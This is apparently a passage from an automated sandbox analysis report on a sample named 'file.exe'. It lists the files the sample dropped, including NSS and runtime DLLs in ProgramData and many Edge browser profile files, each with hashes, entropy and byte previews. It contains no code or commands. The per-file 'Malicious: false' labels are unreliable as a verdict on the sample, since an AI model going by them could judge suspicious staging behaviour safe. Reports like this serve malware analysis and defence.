SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\01416f62-c8e1-4d5f-94c4-085ab7f77ecf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45903
Entropy (8bit):	6.087811774219737
Encrypted:	false
SSDEEP:	768:QMkbJrT8IeQc5dafAKKGf4RDVJAj3vv9YnVNk9kVCio67DRo+yM/42cRaLMos7H:QMk1rT8H1aUP09aFo67VLyMV/YosD
MD5:	B012E55BCEFB8D4E10AA7D5D96F4D8E9
SHA1:	4D5EC104E3CE3C975504ADC8E557B5728B42A160
SHA-256:	577E472615FFF641466482D955825A9B40D686DB7188BEA980BD1877921CA110
SHA-512:	AB051A745D80A59F478E73F79C3FFABB61DAC85A2D34C064BF80C84130504571A48F848D30D5BC26D82B1E7F3AA9C13EAFE0C85D3E7AA5936A2F5CEEB0DD328D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"573bb1d3-532f-4e61-abff-3fdb4fb8498e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732733348"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\557e778a-fd21-4df9-93d3-fb3e936c5a7c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44691
Entropy (8bit):	6.094739909263045
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kPDKKGf4RDVJAj3ZcLKBcgzN7DRo+yM/42cRaLMoskU:z/Ps+wsI7ynbPON7VLyMV/YoskFoz
MD5:	5CDC557808E339771744A663600BA336
SHA1:	E7D9B1F5AD7FDE455624B9DCA965ABBAE5C4D6EB
SHA-256:	D72C929497A0222F9DF17E2C96B0AF04678996579BE3AFBD384583DB3578CDF1
SHA-512:	08A5573DFEB8E21E3F55C13C8162F705F1589F408D0B09B9BFD6D79FAB6CC3E474523FBC849BA7B4AE44138E658D20EC8F51A71BF9A17C91523FD4E14957898F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\57a0c5a3-be23-477c-a2b4-cce1d1e0d847.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44691
Entropy (8bit):	6.094739909263045
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kPDKKGf4RDVJAj3ZcLKBcgzN7DRo+yM/42cRaLMoskU:z/Ps+wsI7ynbPON7VLyMV/YoskFoz
MD5:	5CDC557808E339771744A663600BA336
SHA1:	E7D9B1F5AD7FDE455624B9DCA965ABBAE5C4D6EB
SHA-256:	D72C929497A0222F9DF17E2C96B0AF04678996579BE3AFBD384583DB3578CDF1
SHA-512:	08A5573DFEB8E21E3F55C13C8162F705F1589F408D0B09B9BFD6D79FAB6CC3E474523FBC849BA7B4AE44138E658D20EC8F51A71BF9A17C91523FD4E14957898F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\626662c3-a885-42fb-85e1-b12b084ea4bd.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089535942404267
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kgTKKGf4S6tBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynQt5b7VLyMV/YoskFoz
MD5:	38F78720F09AA5FD92612957C25DD532
SHA1:	8A82C440A1BB930305B08554002DB79AC9DB14C9
SHA-256:	61B43DDF69D26269E2F0B46571AE724722D08448F03A49FE7E521B351E7BA467
SHA-512:	612497E012ED322F01CC42531C71EDE725E69C56CE332365D3950DF41C165998C5597C9EB8580FCD7E9480B3512A6AA7FF61819D989191422D084B29EF301ADC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\932c0a38-ca57-43e3-ba12-f98469195606.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45950
Entropy (8bit):	6.087564568699958
Encrypted:	false
SSDEEP:	768:QMkbJrT8IeQc5dasAKKGf4RDVJAj3vv9YnVNk9kVCio67DRo+yM/42cRaLMos7H:QMk1rT8H1alP09aFo67VLyMV/YosD
MD5:	B9207D1F148322F669F75FDCDA2ABDA8
SHA1:	CFB42C934DB28676B7D2B5F937F142F3872AF645
SHA-256:	E836B8016DE5766458101AABCF1E6940F3FB12DBAC7B4F43F33A2F604ECDC78E
SHA-512:	3781881999D01E8348DDB1BFC93E2454DE30722F9312E0861542C3F2D4DF7A6737B77154BF0301A4A6608F47E013325333AB49CBB6711B016D9FEDD04F429632
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"573bb1d3-532f-4e61-abff-3fdb4fb8498e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732733348"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\ec85d6d5-f68d-4b30-a891-a3e7153bbd5c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6747699D-F38.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04759361208442536
Encrypted:	false
SSDEEP:	192:qzk0m5tm/nOAUZYMJ/7qiRDs0JVFg8X8sIz9hEHsBzhEhNGMvLRQ8L/IrRIn8y0d:ik0UtEOF6DvnhcxNHI9I08T2RGOD
MD5:	1A6811AB91B618606EB324CE43E46ABB
SHA1:	EF8D587E40A292E005FBC31E84190AF6A2E1720F
SHA-256:	00DFF5390CEB2DEEF871C7A1B6B7E1468EE5B67F6274E6F3D68D6CE50F43872A
SHA-512:	BA7178E1264FA60509A0C1F98C5B7CEEA1EFB89CC9368A71B8A1B9D866CF6FCBC8037BC0B2828A3F79E439C6A15035C21CE5AE5BB4FA94BEC5496F34229E9BC2
Malicious:	false
Preview:	...@..@...@.....C.].....@................k...Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".pjtkgh20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U..G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6747699E-99C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.49082316567015655
Encrypted:	false
SSDEEP:	6144:sQjsu2VhhCKW0b0ksc95qLmaH0RNTjuAJZ:6CK1b2dM
MD5:	8637698C32FB2D6D84D0B6EFA91F7745
SHA1:	3A63CC8C9FE4E6A076DFD9144CC2E91D161F47D0
SHA-256:	45DE7CAFC8E3E6518859C97C5233A5A70CB6334425E4A5F9B3D777BA6262D11B
SHA-512:	96C7C641F9F387FDD4C4A6FEDBBB3A9EABDBF3F6FEF7B8E84279D2CC5297F638F37A3B6A624ADEF35182A2F31B5FC1D4359472AE2F0AB9482FAE03FAAEEA33AA
Malicious:	false
Preview:	...@..@...@.....C.].....@..................X...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".pjtkgh20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U?:K...G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.......y...... .2.........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.16517681506792
Encrypted:	false
SSDEEP:	3:FiWWltlrPYjpVjP9M4UcLH3RvwAH/llwBVP/Sh/Jzv/jSIHmsdJEU9VUn5lt:o1rPWVjWZq3RvtNlwBVsJDL7b/3U7
MD5:	C847567DEE0317368C1EC824DE025887
SHA1:	554098F22FEA9282FE1AAB35560849CD6FF546B1
SHA-256:	3CF2B1CBE4F4CCFC640BCF581FD4D9FC84254D2B3839C96EA4909B61AAF28932
SHA-512:	A976744405F6ABEBFB7513A3A6A776680334BB94A9E52AEEFE2B05259BCB3CF9781B1CCDA3655D8AA4C1E923143168F29EF3208F81ABCB93AFF5215ED3798219
Malicious:	false
Preview:	sdPC.....................!...W.F....+F."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................8889edf7-b09d-4a45-9ea5-adabbfd01bb9............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\07fa6034-9ee3-4d3b-8485-6ba595a73449.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16639), with no line terminators
Category:	dropped
Size (bytes):	16642
Entropy (8bit):	5.451614659695074
Encrypted:	false
SSDEEP:	192:st1J99QTryDigabatSuypZsPJCNyaNP9kCNsQmmKRTavPcgKQBF8wbV+F37QwkUN:st1PGKSu4ZsgNtJSxQvPRFbGLQw3
MD5:	3F582662BA678628BAF23C0758ECCB7C
SHA1:	62D0F571BCCA999CD5F44BD5154BB82E18DE4082
SHA-256:	66A3A9281805197A5D0980C5E2C3F7E913351EFAB7EC791984F003993E83AFA5
SHA-512:	B70B18C04C0BC4030B2C67449EA6C2E57513A4D9EC884ABA6A31EDC9E50E6BEC863E52C770C67E4A1A6F0C3D9AF06729FA224A192FB1666EB0CD3D4A9715DB24
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377206943247809","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\244906f8-b3f8-4654-b1ef-74555ee56d90.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17397), with no line terminators
Category:	dropped
Size (bytes):	17400
Entropy (8bit):	5.487854482347318
Encrypted:	false
SSDEEP:	192:st1J99QTryDigabatSuypZsPJCNyaNPwnuQkCNsQmmKRTavPcgKQBF8wbV+F37Q4:st1PGKSu4ZsgNtJwuDxQvPRFbGLQwOo
MD5:	15E7AE3B30909947A08E539B71FCCC7B
SHA1:	0448A119774FFDBF0B52D3494B8A03AF604D41AD
SHA-256:	6EBF3BCC65C6F7394DBB39FFA54E5E88563EBE2CEB8B319243434632F2E37B5B
SHA-512:	AA3DF599A5FCB9FAB594A39219B83C02F97A213EA65949145C65B852C5A91597FAC58E94935BE9B670AFB15A2D02F71EE979EA32902202E9C38306AA21192A34
Malicious:	false
